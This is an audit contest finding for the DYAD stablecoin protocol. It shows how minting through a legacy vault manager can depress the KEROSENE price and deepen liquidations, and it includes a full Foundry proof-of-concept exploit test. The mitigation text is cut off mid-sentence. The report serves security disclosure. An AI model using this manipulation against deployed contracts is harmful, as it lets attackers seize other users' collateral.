Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 136/183
Findings: 1
Award: $4.87
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: carrotsmuggler
Also found by: 0xAlix2, 0xSecuri, 0xblack_bird, 0xnev, AM, Al-Qa-qa, AlexCzm, Dudex_2004, Egis_Security, GalloDaSballo, Infect3d, Jorgect, KupiaSec, Ryonen, SpicyMeatball, T1MOH, VAD37, adam-idarrha, amaron, cu5t0mpeo, d3e4, darksnow, forgebyola, foxb868, itsabinashb, jesjupyter, nnez, peanuts, pontifex, wangxx2026, windhustler, zhuying
4.8719 USDC - $4.87
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L230-L248 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/Vault.kerosine.unbounded.sol#L50-L68
Manipulation of $KEROSINE price leads to manipulation of users' Collateral Ratio (CR)
Borrower's CR is calculated from both non-kerosene and kerosene value. https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L230-L248
$KEROSENE price in Vault.kerosene
is calculated from (TVL - dyad.totalSupply) / (kersene.totalCirculatingSupply)
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/Vault.kerosine.unbounded.sol#L50-L68
The above formula relies on an invariance, TVL > dyad.totalSupply
of which assumes that dyad.totalSupply can only be increased via VaultManagerV2
Because $KEROSENE value is supposed to represent the collateral surplus of the system and it hinges on the fact that user can only borrow maximally at 150% CR so there will always be at least 50% collateral surplus, thus TVL will always be greater than the total debt, which in this formula, uses dyad.totalSupply as a representation.
However, there is another path way to increase $DYAD supply, and that is minting via previous VaultManager, assuming that both vaults are operating at the same time, which is likely, because the protocol can't disable minting/burning via previous VaultManager, otherwise, it will be impossible for users to unwind their position and migrate to VaultManagerV2.
Since same-block protection does not apply for previous VaultManager. Therefore, $DYAD supply can be massively increased utilzing flash loan.
This would allow a malicious actor to massively lower the price of $KEROSINE and causes a drop in users' CR.
Here is a PoC I wrote to demonstrate the impact of malicious actor driving the price of $KEROSENE down, then liquidates more collateral from the victim.
Steps
test/fork
directory.forge test -vvv --match-contract C4V2Test --match-test testLiquidation --rpc-url https://ethereum.publicnode.com
to run the PoC// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console.sol"; import "forge-std/Test.sol"; import "forge-std/interfaces/IERC20.sol"; import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol"; import {Licenser} from "../../src/core/Licenser.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {VaultManager} from "../../src/core/VaultManager.sol"; contract C4V2Test is Test, Parameters { Contracts contracts; function setUp() public { contracts = new DeployV2().run(); } function testLiquidation() public{ // Pre-setup so that borrowing works. vm.startPrank(MAINNET_OWNER); Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER); licenser.add(address(contracts.vaultManager)); vm.stopPrank(); deal(MAINNET_WETH, address(this), 1_000e18); IERC20(MAINNET_WETH).transfer( address(contracts.ethVault), 1_000e18 ); uint currentPrice = contracts.unboundedKerosineVault.assetPrice(); console2.log("[>] $KEROSENE price: %s", currentPrice); // Mocking starting ETH price to $3100 so that test is reproducible vm.mockCall(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419, abi.encodeWithSignature("latestRoundData()"), abi.encode(0, 3100e8, 0, block.timestamp + 120 minutes, 0)); // [1] Create a position for ALICE address ALICE = makeAddr("alice"); deal(MAINNET_WETH, ALICE, 100e18); vm.deal(ALICE, 1e18); console2.log("[>] WETH and ETH magically appears in ALICE wallet"); vm.prank(0x34a43471377Dcce420Ce8e3Ffd9360b2E08fa7B4); // K/WETH UNISWAPV2 PAIR contracts.kerosene.transfer(ALICE, 100_000e18); console2.log("[>] $KEROSENE magically appears in ALICE wallet"); vm.startPrank(ALICE); console2.log("[>] Impersonate as ALICE"); console2.log("[>] Minting dNft for ALICE"); uint nftId = contracts.vaultManager.dNft().mintNft{value: 1e18}(ALICE); console2.log("[>] Alice's Nft: %s", nftId); IERC20(MAINNET_WETH).approve(address(contracts.vaultManager), type(uint).max); contracts.vaultManager.add(nftId, address(contracts.ethVault)); console2.log("[>] Added ETH vault to ALICE's Nft"); contracts.vaultManager.deposit(nftId, address(contracts.ethVault), 10e18); contracts.vaultManager.mintDyad(nftId, 20_000e18, ALICE); console2.log("[>] Deposited WETH and minted $DYAD"); console2.log("[>] ALICE's CR %e", contracts.vaultManager.collatRatio(nftId)); contracts.kerosene.approve(address(contracts.vaultManager), type(uint).max); contracts.vaultManager.add(nftId, address(contracts.unboundedKerosineVault)); contracts.vaultManager.deposit(nftId, address(contracts.unboundedKerosineVault), 100_000e18); console2.log("[>] Deposited $Kerosene to UnboundedVault"); console2.log("[>] ALICE's CR %e", contracts.vaultManager.collatRatio(nftId)); vm.stopPrank(); // [2] Do the same things for BOB so that BOB has DYAD to liquidate ALICE address BOB = makeAddr("bob"); deal(MAINNET_WETH, BOB, 410e18); vm.deal(BOB, 1e18); console2.log("[>] WETH and ETH magically appears in BOB wallet"); vm.startPrank(BOB); console2.log("[>] Impersonate as BOB"); console2.log("[>] Minting dNft for BOB"); uint nftId_2 = contracts.vaultManager.dNft().mintNft{value: 1e18}(BOB); console2.log("[>] BOB's Nft: %s", nftId_2); IERC20(MAINNET_WETH).approve(address(contracts.vaultManager), type(uint).max); contracts.vaultManager.add(nftId_2, address(contracts.ethVault)); console2.log("[>] Added ETH vault to BOB's Nft"); contracts.vaultManager.deposit(nftId_2, address(contracts.ethVault), 10e18); contracts.vaultManager.mintDyad(nftId_2, 20_000e18, BOB); console2.log("[>] Deposited WETH and minted $DYAD"); console2.log("[>] BOB's CR %e", contracts.vaultManager.collatRatio(nftId_2)); vm.stopPrank(); console2.log("[>] Simulating ETH price drop to $2500"); vm.mockCall(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419, abi.encodeWithSignature("latestRoundData()"), abi.encode(0, 2500e8, 0, block.timestamp + 120 minutes, 0)); console2.log("[>] ALICE's CR %e after price drop", contracts.vaultManager.collatRatio(nftId)); assert( contracts.vaultManager.collatRatio(nftId) < 1.5e18 ); console2.log("[>] ALICE's position is now liquidatable"); uint alice_asset = contracts.ethVault.id2asset(nftId); console2.log("[>] ALICE's asset before liquidation: %s", alice_asset); console2.log("[>] Taking snapshot before price manipulation"); uint snapshot = vm.snapshot(); // [3] BOB manipulates $KEROSENE price by minting $DYAD via previous vault manager to match VaultManagerV2 TVL vm.startPrank(BOB); console2.log("[>] Impersonate as BOB"); console2.log("[>] Minting $DYAD via previous VaultManager to manipulate $DYAD supply"); IERC20(MAINNET_WETH).approve(MAINNET_VAULT_MANAGER, type(uint).max); VaultManager(MAINNET_VAULT_MANAGER).add(nftId_2, MAINNET_WETH_VAULT); VaultManager(MAINNET_VAULT_MANAGER).deposit(nftId_2, MAINNET_WETH_VAULT, 400e18); VaultManager(MAINNET_VAULT_MANAGER).mintDyad(nftId_2, 600_000e18, ALICE); currentPrice = contracts.unboundedKerosineVault.assetPrice(); console2.log("[>] $KEROSENE price: %s", currentPrice); console2.log("[>] ALICE's CR %e after price manipulation", contracts.vaultManager.collatRatio(nftId)); console2.log("[>] Note that ALICE's CR drops further, so ALICE will lose more collateral during liquidation"); console2.log("[>] BOB liquidates ALICE"); contracts.vaultManager.liquidate(nftId, nftId_2); vm.stopPrank(); alice_asset = contracts.ethVault.id2asset(nftId); console2.log("[>] ALICE's asset after liquidation: %s", alice_asset); console2.log("[>] Reverts back to before $KEROSENE price manipulation"); console2.log("[>] ALICE's CR %e (still liquidatable)", contracts.vaultManager.collatRatio(nftId)); vm.revertTo(snapshot); vm.startPrank(BOB); console2.log("[>] BOB liquidates ALICE"); contracts.vaultManager.liquidate(nftId, nftId_2); vm.stopPrank(); alice_asset = contracts.ethVault.id2asset(nftId); console2.log("[>] ALICE's asset after liquidation: %s", alice_asset); } }
According to DYAD's documentation, $KEROSENE's value is supposed to represent the collateral surplus of VaultManagerV2.
However, for the current implementation of assetPrice()
in Vault.kerosine.unbounded.sol
, it substracts the total debt from dyad.totalSupply()
which shares the supply with the previous version of VaultManager while only counts TVL of collateral from VaultManagerV2, not both. This makes the calculation of collateral surplus incorrect because it counts the debt from outside of VaultManagerV2.
Therefore, the mitigation should either be:
Other
#0 - c4-pre-sort
2024-04-28T05:45:55Z
JustDravee marked the issue as duplicate of #67
#1 - c4-pre-sort
2024-04-29T09:17:20Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-05T09:59:11Z
koolexcrypto changed the severity to 2 (Med Risk)
#3 - c4-judge
2024-05-08T11:50:04Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-08T13:02:22Z
koolexcrypto marked the issue as satisfactory